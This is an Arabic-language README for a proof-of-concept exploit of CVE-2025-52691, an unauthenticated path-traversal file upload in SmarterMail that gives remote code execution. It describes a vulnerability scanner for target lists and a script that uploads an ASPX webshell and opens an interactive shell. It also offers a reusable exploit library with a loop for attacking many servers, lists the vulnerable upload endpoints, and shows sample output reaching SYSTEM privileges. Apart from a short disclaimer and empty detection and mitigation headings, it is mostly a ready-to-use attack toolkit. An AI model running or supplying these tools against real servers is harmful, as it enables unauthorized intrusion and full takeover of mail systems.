
إثبات المفهوم لـ CVE-2025-52691 - رفع ملفات عشوائي بدون مصادقة في SmarterMail يؤدي إلى تنفيذ الأوامر عن بُعد (RCE)
للاستخدام المصرّح به في الاختبارات الأمنية والأغراض التعليمية فقط. الوصول غير المصرّح به غير قانوني.
ثغرة حرجة في SmarterMail تسمح برفع ملفات عشوائية بدون مصادقة عبر تجاوز المسار (path traversal)، مما يؤدي إلى تنفيذ الأوامر عن بُعد.
الثغرة: تجاوز المسار في نقاط نهاية الرفع يسمح برفع قوائم ويب ASPX إلى جذر الويب
الأثر: تنفيذ الأوامر عن بُعد بدون مصادقة
ناقل الهجوم: شبكة / بدون مصادقة
git clone https://github.com/yourusername/CVE-2025-52691-POC.git
cd CVE-2025-52691-POC
pip install requests urllib3
يفحص الأهداف بحثًا عن ثغرة CVE-2025-52691. يحفظ عناوين URL المعرّضة للخطر فقط في ملف الإخراج.
# Single target
python check.py https://mail.example.com
# Multiple targets
python check.py -f targets.txt -o results.txt
# Custom timeout
python check.py https://mail.example.com -t 30
الإخراج: عنوان URL واحد معرّض للخطر في كل سطر داخل results.txt
يقوم برفع قشرة ويب ASPX ويتيح تنفيذ الأوامر.
# Basic exploit
python pwn.py https://mail.example.com
# Execute command
python pwn.py https://mail.example.com -c "whoami"
# Interactive shell
python pwn.py https://mail.example.com -i
وحدة استغلال قابلة لإعادة الاستخدام للتكامل مع السكربتات المخصصة.
كمكتبة:
from exploit import SmarterMailExploit, TargetConfig, ExploitResult
# Basic usage
config = TargetConfig(base_url="https://mail.example.com")
exploit = SmarterMailExploit(config)
if exploit.exploit() == ExploitResult.SHELL_UPLOADED:
print(exploit.execute_command("whoami"))
# With custom timeout
config = TargetConfig(base_url="https://mail.example.com", timeout=60)
exploit = SmarterMailExploit(config)
result = exploit.exploit()
# Execute multiple commands
if result == ExploitResult.SHELL_UPLOADED:
print(exploit.execute_command("whoami"))
print(exploit.execute_command("hostname"))
print(exploit.execute_command("ipconfig"))
كسكربت مستقل:
# Import and run in Python
python -c "from exploit import *; e=SmarterMailExploit(TargetConfig('https://mail.example.com')); e.exploit()"
# Create custom script
cat << 'EOF' > my_exploit.py
from exploit import SmarterMailExploit, TargetConfig, ExploitResult
targets = ['https://mail1.example.com', 'https://mail2.example.com']
for target in targets:
config = TargetConfig(base_url=target)
exploit = SmarterMailExploit(config)
if exploit.exploit() == ExploitResult.SHELL_UPLOADED:
print(f"[+] Exploited: {target}")
print(exploit.execute_command("whoami"))
EOF
python my_exploit.py
نقاط النهاية المعرّضة للخطر:
/api/upload
/api/v1/upload
/Interface/Frmx/UploadFile.aspx
/MRS/Upload.ashx
/Services/Upload.ashx
طرق الاستغلال:
../wwwroot/)قشرة الويب: قشرة ASPX بسيطة تستقبل الأوامر عبر معامل ?cmd=
python check.py <target>python pwn.py <target> -iالاكتشاف:
../)/api/uploadالتخفيف:
$ python pwn.py https://mail.example.com -c "whoami"
[*] Target: https://mail.example.com
[+] Target is alive
[*] Shell filename: s4a7b3c2.aspx
[*] Attempting to upload webshell...
[+] SUCCESS! Webshell uploaded
[+] Shell URL: https://mail.example.com/s4a7b3c2.aspx
[*] Executing: whoami
[+] Output:
nt authority\system
احصل دائمًا على التصريح المناسب قبل إجراء الاختبارات.